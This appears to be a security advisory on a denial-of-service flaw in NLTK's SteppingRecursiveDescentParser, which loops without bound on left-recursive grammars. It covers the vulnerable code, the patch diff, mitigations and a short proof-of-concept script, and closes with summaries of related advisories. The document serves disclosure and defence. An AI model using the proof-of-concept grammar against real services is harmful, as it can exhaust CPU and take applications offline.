Nov 14, 2026·10 min read·4 visits
Versions of NLTK prior to 3.10.4 contain an algorithmic denial-of-service flaw in SteppingRecursiveDescentParser.parse(). The class fails to inherit or check the base parser's max_time deadline during stepwise tree expansion. Evaluating inputs against left-recursive or cyclic grammars causes an unbounded execution loop that pins CPU cores at 100% utilization.
CVE-2026-126303 (GHSA-8fx7-8jr8-84rv) is an uncontrolled resource consumption vulnerability in the Natural Language Toolkit (NLTK) prior to version 3.10.4. The flaw is located in the SteppingRecursiveDescentParser.parse() method within the nltk.parse.recursivedescent module. Because the parser executes a top-down recursive descent stepping loop without enforcing an execution time deadline or step limit, processing tokens against a left-recursive, self-embedding, or ambiguous Context-Free Grammar (CFG) causes the parser to enter an infinite loop. This results in complete CPU core exhaustion and worker thread starvation, leading to an application-level denial of service.
The Natural Language Toolkit (nltk) is a widely deployed Python library used for symbolic and statistical natural language processing (NLP). Within its parsing package (nltk.parse), NLTK provides multiple implementations for generating syntactic parse trees from input token sequences based on formal Context-Free Grammars (CFGs). One such implementation is the recursive descent parser module (nltk.parse.recursivedescent), which builds parse trees from the top down by recursively expanding non-terminal grammar symbols and matching terminal symbols against input tokens.
In versions of NLTK prior to 3.10.4, the SteppingRecursiveDescentParser subclass contains an uncontrolled resource consumption flaw classified under CWE-400 (Uncontrolled Resource Consumption), with contributing algorithmic mechanics mapped to CWE-407 (Inefficient Algorithmic Complexity) and CWE-674 (Uncontrolled Recursion). While the parent class RecursiveDescentParser incorporates a configurable wall-clock timeout mechanism (_max_time) to prevent infinite tree expansion, SteppingRecursiveDescentParser overrides both the initializer and the primary parse() execution loop without preserving or evaluating this deadline.
When an application exposes SteppingRecursiveDescentParser.parse() to untrusted grammar specifications or pathological token sequences under an ambiguous or left-recursive grammar, the parser enters a non-terminating search loop. Because this loop runs synchronously within the calling Python thread, it permanently consumes 100% of a CPU core and holds the Python Global Interpreter Lock (GIL) during bytecode execution. In multi-worker web applications or API backends, repeated requests quickly exhaust all available worker processes, resulting in a complete denial of service.
To understand the root cause of CVE-2026-126303, it is necessary to examine the operational limitations of top-down recursive descent parsing alongside the class hierarchy in nltk/parse/recursivedescent.py. A recursive descent parser operates by maintaining a frontier of unexpanded non-terminal symbols and unconsumed input tokens. At each step, if the leading item on the frontier is a non-terminal symbol, the parser selects a matching production rule from the grammar and replaces the non-terminal with the right-hand side of that production.
Top-down recursive descent parsers are fundamentally incompatible with left-recursive grammars—grammars containing rules of the form $A \rightarrow A \alpha$ (direct left recursion) or $A \rightarrow B \alpha$ where $B \Rightarrow^* A \beta$ (indirect left recursion). When encountering a left-recursive rule, a naive top-down parser continuously expands the leftmost non-terminal $A$ without ever consuming a terminal token from the input list. Without cycle detection, depth limits, or execution deadlines, this expansion proceeds until memory is exhausted or the process is terminated externally.
In the base class RecursiveDescentParser, NLTK mitigates this inherent algorithmic limitation by accepting a max_time parameter (defaulting to DEFAULT_MAX_TIME) in __init__() and checking time.perf_counter() within its internal recursive helper _parse(). However, SteppingRecursiveDescentParser was designed to allow iterative, step-by-step inspection of the parsing state via a step() method and an explicit self._frontier stack rather than Python call-stack recursion.
Two specific implementation errors in SteppingRecursiveDescentParser introduced the vulnerability:
max_time in Initialization: The subclass defined def __init__(self, grammar, trace=0): and called super().__init__(grammar, trace) without exposing or forwarding the max_time parameter.parse(self, tokens) to execute while self.step() is not None: pass. Because self.step() manipulates heap-allocated tree structures and backtracking states rather than invoking the base _parse() method, the base class's timeout checks were completely bypassed. Furthermore, because state is maintained on heap lists (self._frontier, self._tried, self._backtrack) rather than the Python call stack, Python's built-in sys.getrecursionlimit() does not trigger a RecursionError cleanly before substantial CPU time is expended.The vulnerability was remediated in commit e20c40e26ec9306de885703f6e53250695f1f49b (merged via Pull Request #3895) by modifying nltk/parse/recursivedescent.py. In the vulnerable implementation prior to version 3.10.4, SteppingRecursiveDescentParser was implemented as follows:
class SteppingRecursiveDescentParser(RecursiveDescentParser):
def __init__(self, grammar, trace=0):
# VULNERABLE: Does not expose max_time parameter, though super() defaults it
super().__init__(grammar, trace)
self._rtext = None
self._tree = None
self._frontier = [()]
self._tried = []
self._backtrack = []
self._parses = []
def parse(self, tokens):
tokens = list(tokens)
self.initialize(tokens)
# VULNERABLE: Unbounded while loop calling self.step()
# Bypasses RecursiveDescentParser._parse() deadline checks entirely
while self.step() is not None:
pass
return self.parses()The patch modifies both __init__() and parse() to enforce a monotonic wall-clock deadline using time.perf_counter(). The diff from commit e20c40e26ec9306de885703f6e53250695f1f49b demonstrates the exact changes applied:
diff --git a/nltk/parse/recursivedescent.py b/nltk/parse/recursivedescent.py
index 19eaaf6e19..08e9239bee 100644
--- a/nltk/parse/recursivedescent.py
+++ b/nltk/parse/recursivedescent.py
@@ -407,8 +407,8 @@ class SteppingRecursiveDescentParser(RecursiveDescentParser):
:see: ``nltk.grammar``
"""
- def __init__(self, grammar, trace=0):
- super().__init__(grammar, trace)
+ def __init__(self, grammar, trace=0, max_time=DEFAULT_MAX_TIME):
+ super().__init__(grammar, trace, max_time)
self._rtext = None
self._tree = None
self._frontier = [()]
@@ -428,8 +428,19 @@ def _freeze(self, tree):
def parse(self, tokens):
tokens = list(tokens)
self.initialize(tokens)
+ # step() bypasses the base _parse deadline, so bound the stepping loop
+ # directly: a left-recursive or ambiguous grammar loops unbounded
+ # otherwise (CWE-407/674). max_time=None disables the bound.
+ deadline = None
+ if self._max_time is not None:
+ deadline = time.perf_counter() + self._max_time
while self.step() is not None:
- pass
+ if deadline is not None and time.perf_counter() > deadline:
+ raise TimeoutError(
+ f"SteppingRecursiveDescentParser exceeded its {self._max_time}s "
+ "time limit; the grammar may be ambiguous or left-recursive. "
+ "Pass max_time=None to disable the limit."
+ )
return self.parses()
def initialize(self, tokens):> [!NOTE]
> Fix Completeness Assessment: The patch effectively bounds the parse() method by checking time.perf_counter() > deadline after every single step of the state machine. Because each invocation of self.step() performs a constant or small linear amount of work (expanding a single production, matching a single terminal, or popping a single state from self._backtrack), checking the timer between self.step() iterations guarantees prompt termination when parse() is called.
However, security engineers should note two edge cases regarding API usage:
max_time=None during instantiation, the deadline check is disabled, restoring the unbounded behavior.parser.parse(tokens) but instead implements its own external loop calling parser.step(), parser.expand(), or parser.backtrack() directly, self.step() itself does not check self._max_time. Callers driving step() manually must implement their own iteration or time bounds.Exploiting CVE-2026-126303 requires an attacker to trigger SteppingRecursiveDescentParser.parse() under conditions where the parser explores an infinite or exponentially large search space. This occurs in two primary application scenarios:
nltk.CFG.fromstring()) and test them against sample sentences.self.step().No authentication or special privileges are required at the library level. Once the malicious grammar or token sequence reaches SteppingRecursiveDescentParser.parse(), the stepping loop begins expanding self._frontier and recording backtracking states in self._backtrack without progressing through the input tokens.
The following proof-of-concept script demonstrates the vulnerability using a minimal direct left-recursive grammar ($S \rightarrow S\ \text{'a'} \mid \text{'a'}$). On NLTK versions prior to 3.10.4, executing parser.parse(tokens) hangs the Python interpreter indefinitely while consuming 100% CPU on the executing core. On NLTK 3.10.4 and later, the parser enforces max_time and raises a TimeoutError.
"""
Proof of Concept for CVE-2026-126303 (GHSA-8fx7-8jr8-84rv)
Target: nltk < 3.10.4 (nltk.parse.recursivedescent.SteppingRecursiveDescentParser)
"""
import time
from nltk import CFG
from nltk.parse.recursivedescent import SteppingRecursiveDescentParser
# Define a direct left-recursive Context-Free Grammar
grammar_spec = """
S -> S 'a'
S -> 'a'
"""
grammar = CFG.fromstring(grammar_spec)
tokens = ["a", "a", "a", "a"]
# Instantiate the parser.
# In NLTK >= 3.10.4, max_time is supported and defaults to DEFAULT_MAX_TIME.
# Here we explicitly set max_time=1 for rapid verification on patched versions.
try:
parser = SteppingRecursiveDescentParser(grammar, max_time=1)
except TypeError:
# NLTK < 3.10.4 raises TypeError: __init__() got an unexpected keyword argument 'max_time'
print("[-] Vulnerable NLTK version detected (< 3.10.4). Initializing without max_time...")
parser = SteppingRecursiveDescentParser(grammar)
print("[*] Invoking parser.parse(tokens)...")
start_time = time.perf_counter()
try:
# On vulnerable versions, this call never returns or hits a late RecursionError
# inside deep nltk.tree.Tree copy operations after prolonged CPU exhaustion.
trees = list(parser.parse(tokens))
print(f"[+] Parse completed: {trees}")
except TimeoutError as exc:
elapsed = time.perf_counter() - start_time
print(f"[+] Patched behavior confirmed: TimeoutError raised after {elapsed:.2f}s")
print(f" Message: {exc}")The primary security impact of CVE-2026-126303 is a high-severity Denial of Service (DoS) affecting system availability. Under CVSS v4.0, the vulnerability is scored at 8.7 (High) with the vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N. Because the vulnerability does not allow memory corruption or unauthorized data access, Confidentiality (VC) and Integrity (VI) impacts are rated as None (N), while Availability (VA) is rated as High (H).
In Python production environments, CPU-bound infinite loops present a severe operational hazard due to the architecture of Python web servers and task queues:
asyncio event loops running synchronous calls in a thread pool executor), a single stuck thread executing Python bytecode in while self.step() is not None: continuously acquires and holds the Python Global Interpreter Lock (GIL) until its switch interval expires, degrading performance across all other threads in the same process.SteppingRecursiveDescentParser.parse() permanently locks one worker process until the master process's external worker timeout (if configured) kills and restarts the worker. Sending a small number of concurrent requests equal to the worker count renders the entire service unresponsive.self._tree structure grows deeper and snapshots are appended to self._backtrack and self._tried, causing steady heap memory consumption alongside CPU starvation.Current threat intelligence indicates an EPSS score of 0.00488 (approximately 0.49%, placing it in the 42.56th percentile), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. While public proof-of-concept code exists within the NLTK regression test suite and security advisories, no automated mass exploitation has been observed in the wild.
The definitive remediation for CVE-2026-126303 is to upgrade the nltk package to version 3.10.4 or later. Version 3.10.4 enforces DEFAULT_MAX_TIME across SteppingRecursiveDescentParser.parse() and raises a TimeoutError if parsing does not conclude within the configured threshold.
pip install --upgrade "nltk>=3.10.4"After upgrading, verify that application code catches TimeoutError (a built-in subclass of OSError in Python 3) when invoking parser.parse() so that worker processes can return a clean HTTP 400/422 or 504 response rather than crashing with an unhandled exception:
from nltk.parse.recursivedescent import SteppingRecursiveDescentParser
parser = SteppingRecursiveDescentParser(grammar, max_time=2.0)
try:
result_trees = list(parser.parse(tokens))
except TimeoutError:
# Handle pathological grammar or input gracefully
result_trees = []> [!NOTE]
> Architectural Workarounds: If immediate patching to nltk>=3.10.4 is blocked by dependency constraints, development teams should apply the following mitigations:
SteppingRecursiveDescentParser is primarily intended for pedagogical visualization of top-down parsing steps. Production NLP pipelines parsing general Context-Free Grammars should use nltk.parse.ChartParser or nltk.parse.EarleyChartParser. Dynamic programming chart parsers handle left-recursive and ambiguous grammars in $O(n^3)$ time without entering infinite recursion.SteppingRecursiveDescentParser must be used on untrusted inputs in an older NLTK release, execute the parsing routine inside an isolated child process using multiprocessing.Process or concurrent.futures.ProcessPoolExecutor with a strict timeout, terminating the process via SIGKILL if it exceeds the deadline.CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
nltk NLTK Project | < 3.10.4 | 3.10.4 |
| Attribute | Detail |
|---|---|
| CVE / GHSA ID | CVE-2026-126303 / GHSA-8fx7-8jr8-84rv |
| Vulnerability Class | CWE-400 (Uncontrolled Resource Consumption) / CWE-407 / CWE-674 |
| CVSS v4.0 Score | 8.7 High (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N) |
| EPSS Score | 0.49% (42.56th Percentile) |
| Affected Component | nltk.parse.recursivedescent.SteppingRecursiveDescentParser.parse() |
| Impact | Application Denial of Service via 100% CPU core starvation and worker lockup |
| Patched Version | nltk 3.10.4 |
| CISA KEV Status | Not Listed |
The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.
A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) and CWE-625 (Permissive Regular Expression) exists in the @sveltejs/adapter-vercel and @sveltejs/adapter-static packages for SvelteKit. During the build-time prerendering phase, pathnames discovered by the SvelteKit link crawler are inserted into the generated Vercel routing configuration (.vercel/output/config.json) without escaping regular expression metacharacters. Because the Vercel edge routing engine evaluates the 'src' property of route entries as regular expressions, an attacker capable of injecting links into prerendered application content can introduce arbitrary regular expression syntax, hijacking application routing and exposing unintended assets or responses.
CVE-2026-128117 (GHSA-mw6w-2fmv-pvw3) is a denial of service (DoS) vulnerability in SvelteKit (@sveltejs/kit) caused by an uncaught URIError exception during request routing. When an application implements a reroute hook that rewrites a request pathname containing invalid percent-encoding into a valid route, SvelteKit subsequently calls decode_pathname on the original unvalidated url.pathname outside of a try...catch block. In deployments utilizing @sveltejs/adapter-node, this unhandled exception terminates the Node.js runtime process.
File Browser versions prior to 2.63.17 contain an authorization and state-management flaw in the BoltDB storage backend. When an authenticated user deletes a shared directory via an HTTP request with a trailing slash (e.g., DELETE /api/resources/a/), the share cleanup routine queries the database index using the unnormalized path before stripping the trailing slash. Because canonical share paths are stored without trailing slashes (e.g., /a), the database prefix query fails to match the parent directory share record. If a directory with the same name is later recreated, the dormant public share hash automatically reactivates and exposes the new directory contents to unauthenticated users.
An uncontrolled memory allocation vulnerability exists in ag-psd versions prior to 31.0.0. When parsing Adobe Photoshop Document (PSD) files, the readPsd() function reads image dimensions and color depth directly from the file header and allocates off-heap typed arrays without validating whether the requested memory size is proportional to the input stream or bounded by operational thresholds. An unauthenticated attacker can supply a crafted 52-byte PSD payload that triggers an immediate 3.35 GB memory allocation, resulting in process termination via the operating system Out-Of-Memory (OOM) killer.
CVE-2026-126297 (GHSA-v8f3-6phw-6mh9) is an uncontrolled resource consumption and algorithmic complexity vulnerability in the Natural Language Toolkit (NLTK) prior to version 3.10.4. Located in the Semantic Role Labeling (SRL) parser within `nltk/corpus/reader/conll.py`, the flaw allows an attacker to trigger quadratic O(N^2) CPU processing overhead by providing crafted CoNLL-formatted corpus inputs containing decoy span columns or nested full-width verb spans. Applications parsing untrusted linguistic corpora can experience prolonged CPU exhaustion and application-level Denial of Service (DoS).
CVE-2026-126298 (also tracked as GHSA-r53h-rw34-8h97) is an algorithmic complexity Denial of Service (DoS) vulnerability in the Natural Language Toolkit (NLTK) Python library affecting all versions prior to 3.10.4. The vulnerability resides in the nltk.tree.transforms.chomsky_normal_form function and its corresponding public method Tree.chomsky_normal_form(). When transforming a parse tree into Chomsky Normal Form using the default right-factoring strategy, the function repeatedly invokes list.pop(0) inside a loop iterating over all children of a node. In CPython, removing the initial element of a standard list requires an O(N) memory shift operation, causing the overall binarization algorithm to degrade to O(N^2) quadratic time complexity relative to the width of a node. Furthermore, converting horizontal node width into vertical tree depth bypasses initial parsing depth bounds, triggering subsequent stack exhaustion (RecursionError) when recursive methods traverse the mutated structure. Unauthenticated remote attackers who can submit bracketed tree strings to applications invoking this transformation can exhaust single-threaded CPU resources or induce unhandled application exceptions.